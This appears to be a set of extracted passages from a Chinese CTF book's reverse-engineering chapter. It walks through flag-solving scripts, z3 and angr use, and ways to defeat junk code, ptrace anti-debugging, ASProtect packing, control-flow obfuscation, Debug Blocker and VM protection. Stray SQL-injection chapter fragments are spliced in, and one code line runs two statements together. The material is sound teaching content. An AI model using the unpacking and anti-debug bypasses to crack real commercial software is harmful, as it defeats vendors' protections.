    {"text": "未知 10.1.3 求解flag 1.直接内存获取 对于一些比较简单的题目，可通过直接查看内存的方式获取flag。 对于这种形式，只需要在比较的地方下个断点，然后通过查看内存即可得到flag，伪代码如下： input = get_input() if(input == calc_flag()) { puts(flag is input) } 这里以2015年9447CTF的the-real-flag-finder作为实例，该程序的main函数的反编译代码如图10-9所示，通过分析可以发现程序通过循环计算出了一个dest，然后与输入的参数argv[1]进行比较，如果相等，则argv[1]就是flag。 图10-9 the-real-flag-finder程序的反编译代码 所以该题选择在调用memcmp的地方下断点，然后运行程序。 在断点断下之后，RDI寄存器指向的内容即为flag，如图10-10所示。"},
    {"text": "图10-10 在GDB中读取flag 2.对算法进行逆变换操作 如果一个判断过程的代码如下所示，那么要分析convert的算法，然后分析结果编写出对应的逆算法，通过reverse_convert(stardard)方式求得flag： input = get_input() if(standard == convert(input)) { puts(flag is input) } 这里以一个base64编码的程序作为实例。"},
    {"text": "初步分析程序的main函数，main函数中的change函数根据输入input得到一个output字符串，然后将output字符串与“ms4otszPhcr7tMmz GMkHyFn=”进行比较，如图10-11所示，所以需要分析change函数。 图10-11 定位到程序比较的地方 change函数如图10-12所示，首先建立了一个to_string(i)与v22[i]的map，然后，将input转化为二进制的字符串，每次取6字节，转化为一个整数，接着查询map，得到对应的输出字节，所以可以确定其为变种的base64。 图10-12 change函数的反编译代码 下面进行base64逆变换： import base64 s1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' s2 = 'ELF8n0BKxOCbj/WU9mwle4cG6hytqD+P3kZ7AzYsag2NufopRSIVQHMXJri51Tdv' dict = {} for i in range(len(s1)): dict[s2[i]] = s1[i] dict['='] = '=' output = 'ms4otszPhcr7tMmzGMkHyFn=' s3 = '' for i in range(len(output)): s3 += dict[output[i]] flag = base64.b64decode(s3) print flag 3.线性变换的求解 如果convert是一个线性变换，那么在output=convert(input)中，output的第i位只能由input的第i位决定。"},
    {"text": "图10-13 cipher程序运行结果 图10-14 根据输出结果推断为线性变换 所以，对于该题可以采用单字节爆破的方式，代码如下： from zio import * with open('./ciphertext') as f: d = f.read() flag = '' for i in range(len(d)): for c in range(0x21, 0x80): try_input = flag + chr(c) io = zio('./cipher') io.writeline(try_input) io.close() f = open('./out', 'rb') d2 = f.read() if d2[i] == d[i]: flag += chr(c) break print flag 4.约束求解 如果output=convert(input)之后，需要output满足多个约束条件，那么这种情况下通常会选择约束求解，通常会用到的约束求解器为z3。"},
    {"text": "调用堆栈，如图10-15所示，可以知道函数返回地址为0x40bd7b。 图10-15 程序在GetWindowTextA断下时的堆栈 在IDA中查看0x40bd7b地址，发现该函数被识别为CWnd::GetWindowTextA，所以还要再回溯一层，最终到达地址0x4017AD。"},
    {"text": "图10-16 定位到程序的主要判断逻辑 第一个函数sub_401380（如图10-17所示），比较明显地用到了我们熟悉的base64字符串，所以该函数为base64加密。 图10-17 sub_401380函数的反编译代码 第二个函数sub_401000（如图10-18所示），对每个字符做了一个减3的操作。 图10-18 sub_401000函数的反编译代码 第三个函数sub_401040（如图10-19所示），需要满足如下条件： a2[i]+a2[i+1] == v5[i] a2[9]-a2[20]==22 a2[40]==0 图10-19 sub_401040函数的反编译代码 这里的条件较难直接计算，故采用约束求解的方式进行求解，代码如下： from z3 import * import base64 s2 = [151, 130, 175, 190, 163, 189, 149, 132, 192, 188, 159, 162, 131, 99, 168, 197, 151, 151, 164, 164, 152, 166, 205, 188, 163, 162, 146, 161, 162, 135, 149, 156, 180, 218, 229, 192, 159, 185, 202, 22] s1 = [BitVec('s1_%d' % i, 8) for i in range(41)] s = Solver() for i in range(39): s.add(s1[i]+s1[i+1] == s2[i]) s.add(s1[9] - s1[20] == 22) s.add(s1[40] == 0) s3 = '' if s.check() == z3.sat: m = s.model() for i in range(40): s3 += chr(m[s1[i]].as_long()) s4 = ''.join([chr(ord(s3[i])+3) for i in range(len(s3))]) flag = base64.b64decode(s4) print flag"},
    {"text": "未知 10.2 自动化逆向 在前面的介绍中，大多数逆向都是通过手工逐步进行分析，但是出于效率的考虑，我们更希望使用脚本来对一些重复性的工作进行自动化处理。在逆向工程领域，有较多使用Python开发的工具，这些工具大多数支持分析人员编写相应脚本来完成一些自动化的处理工作。Python逆向工具详见 http://pythonarsenal.com/ ，这里简单介绍几个常用的工具。 未知 10.2.1 IDAPython 通过IDAPython插件，分析人员能够以Python脚本的形式访问IDC脚本引擎的核心、完整的IDA插件API，以及所有与Python捆绑在一起的常见模块。 目前，默认安装的IDA中已经内置了IDAPython插件，因此我们只需要通过菜单栏选择File→Script file，然后选择要执行的Python脚本即可运行。 IDAPython有着较为详细的文档，详情请参见 https://www.hex-rays.com/products/ida/support/idapython_docs/ 。其中我们能调用到的接口位于idaapi、idautils和idc三个模块中。在IDA的安装目录下的python子目录中能够看到这3个Python脚本，如图10-20所示。 图10-20 IDAPython的主要模块 一个简单的IDAPython脚本如下，下面的示例代码是对0x4094处的0xd8长度数据进行异或解密： from idaapi import * from idc import * from idautils import * def decrypt(start, end, xor_data): for i in range(start, end): a = get_byte(i) patch_byte(i, a^xor_data) decrypt(0x4094, 0x4094+0xd8, 0xab) 未知 10.2.2 PythonGdb PythonGdb使我们可以通过Python脚本来编写gdb调试脚本。详细的文档请参见 https://sourceware.org/gdb/wiki/PythonGdbTutorial 。之前介绍过的peda就是用PythonGdb编写的。 下面对几个经常会用到的功能进行简单包装。 1.断点功能 class OnBreakpoint(gdb.Breakpoint): def __init__(self, loc, callback): if isinstance(loc, int): loc = '*'+hex(loc) super(OnBreakpoint, self).__init__(loc, gdb.BP_BREAKPOINT, internal=False) self.callback = callback def stop(self): self.callback() return False 在loc处下断点，中断时，执行callback函数。 2.寄存器和内存操作 def get_reg(reg): return int(gdb.parse_and_eval(\"$\"+reg)) def set_reg(reg, value): return gdb.execute(\"set $\"+reg+\" \"+str(value)) def read_mem(address, length): inferior = gdb.selected_inferior() return inferior.read_memory(address, length) def write_mem(address, value): inferior = gdb.selected_inferior() return inferior.write_memory(address, value) 未知 10.2.3 pydbg pydbg是基于Python实现的一个Windows调试器框架。基于它，可以实现对Windows下程序的自动化调试。 一个pydbg的模板如下，通过bp_set可以在程序的任意点设置断点，并添加对应的处理函数： from pydbg import * from pydbg.defines import * def handler1(dbg): # some code here return DBG_CONTINUE def main(): target = './reverse0.exe' dbg = pydbg() dbg.load(target, create_new_console=True) #set a break point dbg.bp_set(0x00415fad, handler=handler1) dbg.run() main() 未知 第2章 SQL注入攻击 SQL注入在国内CTF比赛中的地位特别高，基本上是每次比赛的必出题。有时候还不只一道题，一道题也不只有一个数据库，可能是与SSRF、XSS等漏洞配合出题等，这时候就需要我们根据不同的环境随机应变。在这里，我们主要介绍基于MySQL的注入。 在本章中，我们假设你已经有一定的SQL基础，熟悉常见的增（insert）删（delete）改（update）查（select）语句，了解常见的查询（比如联合查询、连接查询等），知道基本的数据库的权限控制，并了解PHP的基本语法和常见的参数传递方法（如GET、POST等）。 未知 10.2.4 Angr Angr是一个强大的二进制分析工具，其官方文档在 https://docs.angr.io/ 。在逆向中，一般使用Angr的动态符号执行解出flag。Angr文档中提供了很多的实例（ https://docs.angr.io/docs/examples.html ），可以通过这些实例学习Angr的使用。 一个常见的Angr脚本包括以下几个步骤。 1）使用angr.Project加载要分析的二进制程序，这里通常会将选项auto_load_libs设置为false，使angr不加载动态链接库： p = angr.Project('./vul', load_options={\"auto_load_libs\": False}) 2）建立程序的一个初始化状态。 使用factory.entry_state直接在程序入口点建立一个初始化状态。如果此时程序需要传递符号化的输入，那么还需要在建立初始化状态时，进行符号化： argv1 = claripy.BVS(\"argv1\", 100 * 8) initial_state = p.factory.entry_state(args=[\"./program\", argv1]) 也可以使用factory.black_state在程序的任意指定地址建立一个状态。此时，可以通过memory.store对状态中的部分内存进行符号化： s = p.factory.blank_state(addr=0x401084) s.memory.store(0x402159, s.solver.BVS(\"ans\", 8*40)) 3）从初始化状态开始进行动态符号执行，使用explore进行路径的探索，通过find参数指定需要到达的地址，avoid参数则用于指定不要到达的地址： sm = proj.factory.simulation_manager(initial_state) sm.explore(find=0x400830, avoid=0x400850) 4）找到之后，通过约束求解器得到flag： found = sm.found[0] flag = found.solver.eval(argv1, cast_to=bytes)"},
    {"text": "未知 10.3 干扰分析技术及破解方法 常见的干扰逆向分析的技术有花指令、反调试、加壳、控制流混淆、双进程保护、虚拟机保护等技术，下面会简单介绍这几种技术，并介绍破解的基本思路。 未知 10.3.1 花指令 花指令是代码保护中一种比较简单的技巧。其原理是在原始的代码中插入一段无用的或者能够干扰反汇编引擎的代码，这段代码本身没有任何功能性的作用，只是一种扰乱代码分析的手段。 1.基本思路 花指令主要是影响静态分析，在IDA中表现为一些指令无法识别，导致某些函数未能识别，从而无法对这些函数进行反编译。在IDA中手动将花指令patch成nop空指令，可以去除花指令。如果二进制程序中的花指令较多，那么可以通过分析花指令的特定模式，编写IDAPython脚本对花指令进行自动化搜索和patch。 2.实例分析 用IDA打开程序，发现加入了花指令，如图10-21所示。可以看出，在4010dd处插入了两个无用的字节，影响了IDA的反汇编，将这两个无用字节修改为nop指令，可以去除该花指令，如图10-22所示。 图10-21 花指令影响IDA的反汇编 图10-22 通过patch去除花指令 进一步分析这个程序，可以得到花指令的指令模式，主要是在某些特定的指令序列之后插入一至两个无用字节。通过IDA脚本自动去除花指令的代码如下： from idaapi import * from idc import * from idautils import * start_ea = 0x401000 print 'start....' patterns = [('73 02', 2), ('EB 03', 1), ('72 03 73 01', 1), ('74 03 75 01', 1), ('7E 03 7F 01', 1), ('74 04 75 02', 2)] for pattern in patterns: ea = start_ea while True: ea = FindBinary(ea, SEARCH_DOWN, pattern[0]) if ea == idaapi.BADADDR: break ea += len(pattern[0].replace(' ', ''))/2 for i in range(pattern[1]): PatchByte(ea+i, 0x90) MakeCode(ea+i) 未知 10.3.2 反调试 反调试技术是指在程序运行过程中探测其是否处于被调试状态，如果发现其正在被调试，则使其无法正常运行。Windows下的反调试方法有很多，网上也有很多文章对其进行了总结，而且在Windows下通过OD的StringOD插件可以过滤掉大多数的反调试方法。所以，这里主要针对Linux下一些常见的反调试方法进行介绍。 1.Linux下常见的反调试方法 （1）利用ptrace Linux下的调试主要是通过ptrace系统调用来实现的。一个进程只能被一个程序跟踪，所以如果程序被跟踪之后再来调用ptrace(PTRACE_TRACEM)自然是会不成功的： #include <stdio.h> #include <sys/ptrace.h> int main (int argc, char *argv[]) { if (ptrace (PTRACE_TRACEME, 0, 0, 0) == -1) { printf (\"Debugger detected\\n\"); return 1; } printf (\"OK\\n\"); return 0; } （2）proc文件系统检测 读取/proc/self/目录下的部分文件，根据程序在调试和非调试状态下的文件的不同来进行反调试。例如，/proc/self/status在非调试状态下，则TracerPid为0，如图10-23所示。但若处于调试状态下，则TracePid不为0，而是跟踪进程的Pid号，如图10-24所示。 图10-23 非调试状态下/proc/self/status文件的内容 图10-24 调试状态下/proc/self/status文件的内容 （3）父进程检测 通过getppid系统调用获取得到程序的父进程，如果父进程是gdb、strace或者ltrace，则可以证明程序正在被调试。 2.基本思路 针对这些反调试方法，常用的方法就是定位到反调试的代码，然后对程序进行patch，在不影响程序正常功能的情况下，跳过对调试器的检测代码。 3.实例分析 本节所列举的实例来自defcamp quals 2015的r100.bin。直接运行程序时，程序将会提示输入密码。但是在gdb中运行时，不会有任何输出，猜测程序有反调试。 在程序的.init_array中有两个函数，如图10-25所示。这两个函数会在main函数执行之前执行。 其中，sub_4007A8函数如图10-26所示，通过ptrace对调试器进行检查，如果检查到调试器，则进入一个while死循环。对这个函数进行patch，可以跳过对调试器的检查。 图10-25 r100.bin中的.init_array 图10-26 r100.bin中sub_4007A8的反编译代码"},
    {"text": "未知 10.3.3 加壳 加壳是指在二进制的程序中植入一段代码，在运行的时候优先取得程序的控制权，这段代码会在执行的过程中对原始的指令进行解密还原，之后再将控制权交还给原始代码，执行原来的代码。 经过加壳的程序，其真正的代码是加密存放在二进制文件中的，只有在执行时才从内存中解密还原出来，因此没法对加壳后的程序直接进行静态分析，所以首先需要进行软件脱壳。 1.基本思路 在CTF中出现的带壳程序通常为已知的壳，因此大多可以通过使用专用工具或者脚本来进行脱壳。比如UPX壳，可以通过“upx–d”命令进行脱壳。 2.实例分析 本节所列举的实例来自2014 ISCC的一个逆向题。首先使用工具PEiD进行查询，发现是ASProtect壳，如图10-27所示。 图10-27 PEiD查壳结果 搜索ASProtect 1.2x～1.3x，可以找到对应的脱壳脚本，链接地址为 http://bbs.pediy.com/showthread.php?t=89342 。在OD中通过插件ODbgScript运行该脚本，如图10-28所示。 图10-28 在OD中运行脱壳脚本 脚本运行完成之后，查看OD中的记录，如图10-29所示。 图10-29 脚本运行完成后OD中的记录 这里给出的OEP相对地址太大了，脚本定位出来的OEP不太准确，程序仍然保留在壳中，所以在OD中继续使用F7向下单步执行，最后程序通过一个jmp eax指令跳转到0x68FCD6，该地址才是正确的OEP。 然后，使用LordPE将内存dump下来，找到对应的进程，点击右键，选择完整转存，将其转存为dumped.exe，如图10-30所示。 图10-30 使用LordPE进行内存dump 最后，使用ImportREC工具对IAT进行修复。首先，选择对应的进程，输入正确的OEP（0x68FCD6-base=0x28FCD6）、IAT的RVA和大小，然后点击获取导入表，如图10-31所示。 点击修正转储，选择dump下来的文件dumped.exe，最后会在此处生成一个新的程序dumped_.exe。生成的dumped_.exe能够正确运行，说明脱壳成功，之后就可以对脱壳后的程序进行分析了。 图10-31 使用ImportREC进行IAT修复"},
    {"text": "未知 10.3.4 控制流混淆 对于控制流混淆的程序，没有办法直接进行静态分析，也无法进行反编译，而调试器调试也会陷入控制流的跳转混乱中。 1.基本思路 对于控制流混淆的程序，通常采用Trace的方法。通过Trace工具记录下程序运行的所有指令，然后在运行这些指令的基础上进行数据流分析。常用的Trace方法既可以使用Ptrace的单步执行记录下运行的每一条指令的地址，也可以使用动态二进制插桩工具，如Pin来进行记录。 2.实例分析 本节所列举的实例来自20150CTF的r0ops。用IDA打开r0ops，反编译代码如图10-32所示，通过分析可以发现程序开启了13337端口，然后接收用户输入，最后好像什么操作也没做就返回了。 图10-32 r0ops的反编译代码 查看对应的汇编代码，如图10-33所示，可以发现，最后“mov rsp,rax”更改了堆栈。程序在retn之后会根据位于E0AF8A0中的ROP链来执行。继续单步执行，可以看见程序的控制流被完全混淆了。 图10-33 r0ops的部分汇编代码 这里，我们首先使用动态二进制插桩工具Pin记录下程序运行的指令。编写的PinTools代码如下，主要是记录程序执行过程中在0xDEAD000到0xDEAD524之间的指令的RIP值。通过“pin–t itrace.so--./r0ops”进行插桩，记录下的RIP值将被写入文件itrace.out中，代码如下： #include <stdio.h> #include \"pin.H\" FILE *trace; ADDRINT minAddr = 0x000000000DEAD000; ADDRINT maxAddr = 0x000000000DEAD524; VOID printip (ADDRINT ip) { if ((ip >= minAddr) && (ip <= maxAddr)) fprintf (trace, \"%p\\n\", (void *) ip); } VOID Instruction (INS ins, VOID * v) { INS_InsertCall (ins, IPOINT_BEFORE, (AFUNPTR) printip, IARG_INST_PTR, IARG_END); } VOID Fini (INT32 code, VOID * v) { fprintf (trace, \"#eof\\n\"); fclose (trace); } INT32 Usage () { PIN_ERROR (\"This Pintool prints the IPs of every instruction executed\\n\" + KNOB_BASE::StringKnobSummary () + \"\\n\"); return -1; } int main (int argc, char *argv[]) { trace = fopen (\"itrace.out\", \"w\"); if (PIN_Init (argc, argv)) return Usage (); INS_AddInstrumentFunction (Instruction, 0); PIN_AddFiniFunction (Fini, 0); PIN_StartProgram (); return 0; } 然后用IDAPython脚本获取对应地址的汇编代码。这里过滤掉了ROP指令中的jmp指令和ret指令，同时，我们可以发现“add rsi,8”和“sub rsi,8”总是成对出现，所以需要将这两条指令也去掉，代码如下： from idc import * ips = [] with open('itrace.out', 'rb') as f: for line in f: ips.append(int(line.strip(), 16)) with open('itrace_asm.out', 'wb') as f: for ip in ips: if (ip >= 0xDEAD0ED) & (ip < 0xDEAD3AF): mnemonic = GetMnem(ip) if (mnemonic == 'jmp') | (mnemonic == 'retn'): continue asm = GetDisasm(ip) if asm == 'add rsi, 8': continue if asm == 'sub rsi, 8': continue f.write('%08x %s\\n' %(ip, asm)) 这样处理之后，itrace_asm.out中还剩下500多行汇编代码，然后对其进行静态分析，重点关注对接收数据的处理，发现接收的输入只传给了寄存器R8和R12。下面手动整理出对数据的处理过程： r8=key r12=1 r12=r8*r12 r8=r8*r8 r8=r8*r8 r8=r8*r8 r12=r8*r12 r8=r8*r8 r12=r12*r8 r8=r8*r8 r8=r8*r8 r8=r8*r8 r8=r8*r8 r8=r8*r8 r8=r8*r8 r12=r12*r8 r8=r8*r8 r8=r8*r8 r12=r12*r8 r8=r8*r8 r12=r8*r12 r8=r8*r8 r12 == 0x2724090c0798e4c5 化简后得知需要求出一个输入，满足如下条件： 0x2724090c0798e4c5 =key^ 13337 mod 2^64 可利用如下代码对该条件进行求解： left = 0x2724090c0798e4c5mi = 13337 mo = 64 right = [] for i in range(mo): m = (pow(2, i + 1)) l = left % m r = 0 for index, value in enumerate(right): r += value * pow(2, index) if pow(r, mi, m) == l: right.append(0) elif pow((r + pow(2, i)), mi, m) == l: right.append(1) else: raise r = 0 for index, value in enumerate(right): r += value * pow(2, index) print r 经过8轮这样的比较，程序就会打印出flag。每次比较只是等式左边的值不同，通过在比较的地方下断点，可以知道比较的值。最终获取flag的脚本如下： from zio import * target = ('127.0.0.1', 13337) io = zio(target, timeout=10000, print_read=COLORED(NONE, 'red'), print_write=COLORED(NONE, 'green')) p = l64(0xd5b028b6c97155a5) p += l64(0x51a2c3e8e288fa45) p += l64(0x561720a3f926b105) p += l64(0xa325ec548e4e0385) p += l64(0x5369761ad6ccde85) p += l64(0x9475802813002885) p += l64(0xcadd6a0bdc679485) p += l64(0x7d67b37124bcbc85) io.writeline(p) io.interact()"},
    {"text": "未知 10.3.5 双进程保护 双进程保护又称为Debug Blocker，是一种在调试模式下运行自身程序的方法。这种保护通常存在两个进程，两个进程是调试器与被调试器的关系。 Debug Blocker技术的特点如下。 ·防止代码调试。通常实际功能的代码运行在子进程中，不过因为子进程已经处于调试状态了，所以无法再使用其他调试器进行附加操作。 ·父进程能够控制子进程。通过处理子进程的异常，父进程能够控制子进程的代码执行流程或者对子进程进行动态修改。 由于真正的功能通常位于子进程中，所以要调试子进程，就必须先断开与已有调试器的链接，但是这样之后，就没有父进程处理子进程的异常，导致子进程无法正常运行，这也是逆向Debug blocker最难的部分。 1.基本思路 在CTF中出现的双进程保护题目中，通常父进程的功能都比较单一，因此我们首先针对父进程进行分析，了解其处理子进程的逻辑，然后对子进程进行patch，使子进程脱离主进程后仍能正常运行，最后再对子进程进行分析。 因为父进程相当于一个调试器。调试器在调试程序的时候会一直循环等待，直到检测到一个调试事件的发生。当调试事件发生的时候，就会调用一个与之对应的事件处理函数。调用处理函时，调试器会暂停程序等待下一步的指示。所以本节的重点就是分析父进程对应的事件处理函数。 2.实例分析 本节列举的实例来自2016 alictf的debug，这是一个Windows系统下的程序，运行debug.exe，会直接提示输入flag。 用IDA打开debug.exe，IDA自动停留到main函数处，不过此处的main不能反编译，只能看反汇编代码。如图10-34所示，程序首先用CreateMutexA尝试创建了一个名为ALICTF:Bigtang的互斥体，成功或者失败将会对应跳转到不同的函数中。对于双进程而言，父进程是第一次创建，会返回成功，而子进程会因为互斥体已经存在而返回失败，所以可以知道后面的两个函数分别为parent_handle和child_handle。 图10-34 通过互斥体区分父子进程 按照我们的一般思路，首先分析父进程的处理函数parent_handle，对应的地址为4014D0，主要处理逻辑如图10-35所示。通过查看反编译代码，可以知道首先创建了子进程，然后进入调试事件处理循环之中。调试事件处理逻辑如图10-35所示，其主要完成了两件事：当异常地址为4014A6时，对4014A8处的4字节进行与0x7F的异或操作，并将EIP寄存器增加2；当异常地址为4014B9时，对407040处的16字节进行与0x31的异或操作，并将4014B9处的2字节修改为E8B2。 图10-35 父进程的主要处理逻辑 然后，对子进程的child_handle函数进行分析，发现4014A6处不能正常识别为汇编代码，如图10-36所示。所以在地址0x4014a6处会抛出非法指令异常，而父进程能够接收到这个异常，并对此处进行patch。 图10-36 子进程的原始代码 patch后的代码如图10-37所示。 图10-37 子进程patch后的代码 当子进程运行到4014B9处再次发生异常，对407040和4014B9进行相应patch。 最后修改main函数，使其直接跳转到child_handle函数中，这样子进程就可以在脱离父进程的情况下正常运行了，也可以用调试器对程序进行调试操作。以上的patch操作可以通过编写IDAPython脚本来完成，对应的IDA脚本如下： from idc import * PatchByte(0x4014a6, 0x90) PatchByte(0x4014a7, 0x90) for i in range(4): PatchByte(0x4014a8+i, Byte(0x4014a8+i)^0x7f) for i in range(16): PatchByte(0x407040+i, Byte(0x407040+i)^0x31) PatchByte(0x4014b9, 0xe8) PatchByte(0x4014ba, 0xb2) PatchByte(0x401493, 0xeb) 后面就是对子进程中的算法进行分析，其算法逻辑如图10-38所示。经过分析可以知道，首先通过TEA进行加密，然后与0x31进行异或操作，并与固定的字符串进行比较，最后，编写脚本进行解密。 图10-38 子进程的算法逻辑 from zio import * def ul(v): return v & 0xFFFFFFFF def retea(ct, key): res='' v0 = l32(ct[0:4]) v1 = l32(ct[4:8]) sum = 0x1bbcdc80 for i in range(128): v1 = ul(v1-((v0+sum)^(16*v0+key[2])^((v0>>5)+key[3]))) v0 = ul(v0-((v1+sum)^(16*v1+key[0])^((v1>>5)+key[1]))) sum = ul(sum - 0x9e3779b9) res = '%08x%08x' %(v0, v1) return res with open('./debug', 'rb') as f: datas = f.read()[0x7030:0x7030+0x10] d2 = ''.join(chr(ord(d)^0x31) for d in datas) key = [0x112233,0x44556677,0x8899aabb,0xccddeeff] flag = retea(d2[0:8], key) flag += retea(d2[8:16], key) print flag"},
    {"text": "未知 10.3.6 虚拟机保护 虚拟机保护技术是指将代码翻译为机器和人都无法识别的一串伪代码字节流，在具体执行时再对这些伪代码进行逐一翻译、解释，逐步还原为原始代码并执行。"},
    {"text": "1.基本思路 像一些商用的保护软件（如Vmprotect、themida等）都采用了虚拟机保护技术，CTF中也多次出现过虚拟机保护的程序，不过相对来说，虚拟机的指令集较少，因此可以在有限的时间内分析出来。"},
    {"text": "起初，通常会有一个vm_init阶段完成初始化操作，对寄存器进行初始化，对内存进行加载； 然后进入vm_run阶段，开始取指令、解析指令，然后根据操作码opcode分派处理函数。"},
    {"text": "常见的解题思路为：首先逆向虚拟机，得到虚拟机的ISA，然后编写相应的反汇编工具对虚拟机指令进行反汇编，最后分析虚拟机的反汇编代码。"},
    {"text": "用IDA打开simulator，首先查看main函数，如图10-39所示，通过简单分析，可以猜测3个子函数的大致功能。 图10-39 simulator的main函数 其中，vm_init是对VM的寄存器进行初始化，反编译代码如图10-40所示。"},
    {"text": "图10-41 simulator的vm_run函数 图10-42 opcode为1时的处理函数 该函数的功能可以看作如下形式： if(a1) mov regi, imm else mov regi, regj 继续分析其他分支可以得到虚拟机的所有指令集，如表10-1所示。"},
    {"text": "反汇编工具的代码如下： from zio import * def get_byte(): global pc, mem ret = ord(mem[pc]) pc += 1 return ret def get_dword(): global pc, mem ret = l32(mem[pc:pc+4]) pc += 4 return ret def disasm(): global pc, mem while pc < len(mem): real_pc = pc opcode = get_byte() size = (opcode >> 6) & 3 opcode = opcode & 0x3f if opcode == 0: print '%08x: initvm' %real_pc break elif opcode == 1: if size == 0: reg1_index = get_byte() reg2_index = get_byte() print '%08x: mov reg%d, reg%d' % (real_pc, reg1_index, reg2_index) else: reg1_index = get_byte() imm = get_dword() print '%08x: mov reg%d, %08x' % (real_pc, reg1_index, imm) elif opcode == 2: reg1_index = get_byte() reg2_index = get_byte() size_dict = {0: 'byte', 1: 'word', 2: 'dword'} print '%08x: mov reg%d, %s [reg%d]' % (real_pc, reg1_index, size_dict[size], reg2_index) elif opcode == 3: reg1_index = get_byte() reg2_index = get_byte() size_dict = {0: 'byte', 1: 'word', 2: 'dword'} print '%08x: mov %s [reg%d], reg%d' % (real_pc, size_dict[size], reg2_index, reg1_index) elif (opcode == 4) | (opcode == 5): reg1_index = get_byte() mnemonic_dict = {4: 'pop', 5: 'push'} print '%08x: %s reg%d' %(real_pc, mnemonic_dict[opcode], reg1_index) elif (opcode == 6) | (opcode == 7): mnemonic_dict = {6: 'printf', 7: 'scanf'} reg1_index = get_byte() if size == 0: print '%08x: %s reg%d #c' %(real_pc, mnemonic_dict[opcode], reg1_index) elif size == 1: print '%08x: %s reg%d #d' %(real_pc, mnemonic_dict[opcode], reg1_index) elif size == 2: print '%08x: %s reg%d #x' %(real_pc, mnemonic_dict[opcode], reg1_index) elif size == 3: print '%08x: %s byte [reg%d]' %(real_pc, mnemonic_dict[opcode], reg1_index) elif opcode == 8: print '%08x: ret' %real_pc elif opcode == 9: imm = get_dword() jcc_mnemonic_dict = {0: 'jmp', 1: 'jz', 2: 'jnz', 3: 'jl'} print '%08x: %s %08x' %(real_pc, jcc_mnemonic_dict[size], imm) elif opcode == 10: reg1_index = get_byte() jcc_mnemonic_dict = {0: 'jmp', 1: 'jz', 2: 'jnz', 3: 'jl'} print '%08x: %s reg%d' %(real_pc, jcc_mnemonic_dict[size], reg1_index) elif (opcode >= 11)&(opcode <=16): mnemonic_dict = {11: 'add', 12: 'sub', 13: 'and', 14: 'or', 15: 'xor', 16: 'cmp'} reg1_index = get_byte() if size == 0: reg2_index = get_byte() print '%08x: %s reg%d, reg%d' %(real_pc, mnemonic_dict[opcode], reg1_index, reg2_index) else: imm = get_dword() print '%08x: %s reg%d, %08x' %(real_pc, mnemonic_dict[opcode], reg1_index, imm) elif opcode == 17: print '%08x: ret' %real_pc elif opcode == 18: reg1_index = get_byte() reg2_index = get_byte() size_dict = {0: 'byte', 1: 'word', 2: 'dword'} print '%08x: mov reg%d, %s[reg%d]' %(real_pc, reg1_index, size_dict[size], reg2_index) elif opcode == 19: reg1_index = get_byte() reg2_index = get_byte() if size == 0: print '%08x: mov byte[reg%d], reg%d' %(real_pc, reg2_index, reg1_index) elif size == 1: print '%08x: mov word[reg%d], reg%d' %(real_pc, reg2_index, reg1_index) elif size == 2: print '%08x: mov dword[reg%d], reg%d' %(real_pc, reg2_index, reg1_index) elif opcode == 20: if size == 0: reg1_index = get_byte() print '%08x: call reg%d' %(real_pc, reg1_index) else: imm = get_dword() print '%08x: call %08x' %(real_pc, imm) elif opcode == 21: print '%08x: nop' %real_pc elif (opcode == 22) | (opcode == 23): mnemonic_dict = {22: 'inc', 23: 'dec'} reg1_index = get_byte() print '%08x: %s reg%d' %(real_pc, mnemonic_dict[opcode], reg1_index) elif opcode == 24: reg1_index = get_byte() reg2_index = get_byte() print '%08x: test reg%d, reg%d' %(real_pc, reg1_index, reg2_index) else: print 'invalid opcode:%x' %opcode raise Exception('error') pc = 0 with open('input.bin', 'rb') as f: mem = f.read() disasm() 反汇编成功之后，对反汇编出来的虚拟机汇编进行分析，具体过程不再详述。"},
    {"text": "未知 10.4 脚本语言的逆向 C#、Java等解释型语言编译后会变为字节码，幸运的是，大多数字节码与源码存在一一对应的关系，而且保留了变量名、定义、函数名等信息，对此类语言的逆向往往比C要简单轻松。 相比C/C++这一类编译运行类程序，依靠Java虚拟机、.NET、Python解释器等运行程序，由于所生成的字节码（供虚拟机解释运行）仍然具有高度抽象性，所以对这类程序逆向得到的伪代码的可读性更强，有时甚至接近于源代码。所以对这类语言的可执行程序主要是恢复出可读代码（可以通过阅读这些代码来梳理程序的运行过程）。本节将主要介绍还原这三种语言的源代码的工具，具体的源代码分析过程则不再详细介绍。 未知 10.4.1 .NET程序逆向 .NET是微软设计的独立于操作系统之上的平台，可以将其看成一套虚拟机，无论机器运行的是什么操作系统，只要该系统安装了.NET框架，便可以运行.NET可执行程序。 1..NET程序的识别 .NET程序用查壳工具PEiD识别结果为Microsoft Visual C#/Basic.NET，如图10-43所示。 图10-43 使用PEiD识别程序是否为.NET 使用IDA打开.NET程序时，在加载文件类型中会多出一个Microsoft.NET assembly选项，如图10-44所示，不过IDA只能反汇编出.NET的字节码，所以还需要专门的工具对.NET进行反编译。 图10-44 使用IDA识别程序是否为.NET 2..NET程序反编译 .NET Reflector是反编译.NET程序的神器，可以在吾爱破解论坛中下载该工具。在.NET Reflector中，选择File→Open Assembly，然后选择要分析的exe程序，这样要分析的程序就被加入工具的左边栏中，逐层点开可以看到程序的Main函数，如图10-45所示。 图10-45 使用.NET Reflector对.NET程序进行反编译 点击Main函数，从Main开始分析程序。Main函数的反编译代码如图10-46所示。 图10-46 Main函数的反编译代码 简单阅读之后，可以发现程序将生成的flag通过网络发送到了127.0.0.1:31337上，因此只要在本地的31337端口进行监听，就可以得到flag。 使用nc监听31337端口，命令为“nc.exe–lvp 31337”，然后运行reverse100.exe，成功接收到flag，如图10-47所示。 图10-47 监听31337端口接收flag 3..NET程序反混淆 通过.NET Reflector打开被混淆过的.NET程序，可以看到，函数名称及函数的可读性都很差，如图10-48所示，所有的函数名都被颠倒了。 图10-48 混淆后的函数名 de4dot是一个强大的.NET反混淆工具，运行“de4dot.exe CrackMe2.exe”，可以在当前目录下生成一个文件名为CrackMe2-cleaned.exe的程序，如图10-49所示。 图10-49 使用de4dot反混淆 使用.NET Reflector打开CrackMe2-cleaned.exe，可以比较容易地找到按钮对应的处理函数，如图10-50所示。分析button_0_Click函数即可得到flag。 图10-50 反混淆后的函数名 未知 2.1 什么是SQL注入 首先简单介绍一下SQL注入的成因。开发人员在开发过程中，直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入（如Cookies，UserAgent等）与SQL语句进行拼接，造成待执行的SQL语句可控，从而使我们可以执行任意SQL语句。 了解了SQL注入的成因之后，我们再来简要介绍下常见SQL注入的分类，具体如下。 1）可回显的注入 ·可以联合查询的注入。 ·报错注入。 